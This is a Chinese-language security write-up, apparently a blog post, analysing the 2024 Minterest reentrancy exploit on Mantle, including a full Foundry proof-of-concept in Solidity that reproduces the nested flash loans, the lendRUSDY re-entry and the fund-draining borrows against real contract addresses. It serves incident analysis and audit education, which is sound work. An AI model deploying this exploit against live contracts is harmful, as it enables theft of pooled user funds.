Minterest合约攻击详解

  • 黑梨888
  • 更新于 2024-12-02 19:12
  • 阅读 1022

基本信息7月15在mantle链上发生了一起针对Minterest合约的攻击,共损失1.4M。我对这次攻击思路进行了整理,并完成一份PoC。

基本信息

7月15在mantle链上发生了一起针对Minterest合约的攻击,共损失1.4M。我对这次攻击思路进行了整理,并完成一份PoC。 twitter信息: https://x.com/CertiKAlert/status/1812692551012679864 mudsy的lendUSDY方法(漏洞代码):https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code 攻击交易: https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd?line=28

攻击概述

musdy合约是什么

我们访问musdy在mantlescan上的数据https://mantlescan.info/address/0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c/contract/5000/writeContract 可以发现,musdy合约本身支持多种金融工具:

  • Lending
  • Borrow
  • flashloan

    musdy的缺陷

    项目方可能是为了提高资金的利用率,所以把借贷和闪电贷放到同一个合约池子里运营。由于lending使用的lendRUSDY没有加重入锁(其他方法都加了“nonReentrant” 修饰符),导致用户可以在flashloan回调方法中再次进入该合约。 而闪电贷本身已经改变了池子中USDY和mUSDY的汇率,再次进入合约中就可以根据改编后的汇率差进行套利。黑客利用lendRUSDY再次进入合约后,是将自己贷款到的USDY进行放贷。由于之前闪电贷已经导致RUSDY变“贵”,此时使用USDY放贷,会得到更多的mToken(mMETH)。当闪电贷结束后USDY和mUSDY的汇率恢复到正常水平,黑客再redeem之前放贷的USDY,由于此时USDY已经变“便宜”,所以只用销毁少量mToken。整个过程中mToken的个数差,就是获利点。 黑客重复上述操作25次,共获利1.4M。 下图是黑客重入的musdy合约的痕迹:

    1. 第一次进入在42行,通过闪电贷进入。
    2. 第二次进入在78行,在闪电贷回调中,利用lendRUSDY再次进入musdy合约。 1.png

      代码分析

      问题代码比较简单,就是lendRUSDY方法的声明中无“nonReentrant”修饰符: 2.png 对比这个合约中的其他重要方法,例如flashloan方法,有重入锁,是安全的: 3.png

      攻击图解

      4.png 攻击步骤如下:

    3. 攻击合约首先从其他池子(agni Finance)闪电贷大量的USDY,之所以做第一层闪电贷,是因为实施攻击时,中间环节会需要一定的USDY作为第二层闪电贷的还款。
    4. AgniFinance回调攻击合约的还款方法。
    5. 在第一层闪电贷回调的方法中,黑客再次调用minterest的musdy合约的闪电贷方法(也就是第二层闪电贷)。
    6. 第二层闪电贷回调攻击合约的还款逻辑。
    7. 在攻击合约的第二层还款逻辑中,它调用了musdy的lendRUSDY方法,再次进入musdy合约。本身lendRUSDY方法用于借出自己的USDY,铸造大量的mToken。
    8. 第二层闪电贷逻辑结束。赎回之前借出的USDY,销毁一定比例的mToken。第五步铸造的mToken量远远大于第六步销毁的mToken量,于是黑客从中获利。
    9. 在第一层闪电贷回调逻辑中,黑客重复3-6的操作,直到赚取1.4M。 5.png

      PoC

      我通过在foundry上写PoC,复刻黑客所有步骤,最终盈利WETH 223个,METH150个。 6.png 代码如下:

pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key XXX -c mantle  0xe53a90efd263363993a3b41aa29f7dabde1a932d

contract minsterestAttack is Test {
    address usdy=0x5bE26527e817998A7206475496fDE1E68957c5A6;
    address musd=0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3;
    address musdy=0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c;
    address mintProxy=0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;
    address usdyUdcContract=0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;
    address mweth=0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be;
    address mmeth=0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d;
    address weth=0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111;
    address meth=0xcDA86A272531e8640cD7F1a92c01839911B90bb0;

    function setUp() external {
        vm.createSelectFork("https://rpc.mantle.xyz", 66416577 - 1);
        deal(address(usdy), address(this), 436539125289000e6);

    }
    function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));

        //1. approve musd和musdy合约资金调用。
        IERC20(usdy).approve(musdy,type(uint256).max);
        IERC20(usdy).approve(musd,type(uint256).max);
        IERC20(musd).approve(musdy,type(uint256).max);
        IERC20(musdy).approve(musdy,type(uint256).max);
        address[] memory mTokens=new address[](1);
        mTokens[0]=musdy;
        MintProxy(payable(mintProxy)).enableAsCollateral(mTokens);
        //2. 第一层闪电贷
        uint256 flashAmount=IERC20(usdy).balanceOf(usdyUdcContract);
        iusdyUdcContract(payable(usdyUdcContract)).flash(address(this),0,flashAmount,"");

        //3. 借款
        uint256 mweth_balance=IERC20(weth).balanceOf(mweth);
        MintProxy(payable(mweth)).borrow(mweth_balance);
        MintProxy(payable(mmeth)).borrow(150e18);//这个数值我自己试出来的,如果按照交易栈借204个ether会报错,150个ether不会报错。
        //4.先打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));
    }

    //第一个闪电贷的回调还款函数
    function agniFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        for(uint256 i = 0; i < 25; i++){
            uint256 maxFlashAmount=MintProxy(payable(musdy)).maxFlashLoan(usdy);
            MintProxy(payable(musdy)).flashLoan(address(this),usdy,maxFlashAmount,data);
            MintProxy(payable(musdy)).redeemUnderlying(4265817792016953140101195);//这个数直接抄的交易栈里面的值
        }
        //还款闪电贷
        IERC20(usdy).transfer(usdyUdcContract,4265817792016953140101195);
    }

    //第二层闪电贷的回调函数
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee,bytes calldata data) external returns(bytes32){
        // //wrap musd
         MintProxy(payable(musd)).wrap(4260000000000000000000000);
        //balance of musd in attacker contract
        uint256 balance=IERC20(musd).balanceOf(address(this));  
        //lendrusdy same balance 
        MintProxy(payable(musdy)).lendRUSDY(balance);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");//之所以返回这个值,是因为查看了MUSDY的源代码,flashloan函数会判断onflashloan的返回是不是这个值。MUSDY源代码在:https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code的Mtoken.sol里

    }
}

漏洞总结

  1. 虽然网上大部分都说这个是重入问题,但是我一直觉得根本问题不是重入。它和我们常见的重入不一样。常见的重入是由于先转账再记账,中间的空隙用于重入,导致一直没记账,一直转账,直到把池子掏空。虽然加入重入锁可以避免这次的漏洞,但是还是觉得这不是经典重入问题。
  2. 我觉得这个合约的问题是既想做闪电贷又想做lending。lending要保证币对汇率的相对稳定性,flashloan又允许瞬时借空池子里面某一种币,不能保证币对汇率的稳定性。这两者的业务需求是冲突的。
  3. 作为代码审计人员,还是对没有重入锁的方法多上心吧,各种情况,各种调用组合都要想到。

    reference:

    https://github.com/SunWeb3Sec/DeFiHackLabs/blame/main/src/test/2024-07/Minterest_exp.sol 这个poc写的很好 https://x.com/octane_security/status/1814141328420430187 这个推特写的很简单精准。

点赞 2
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~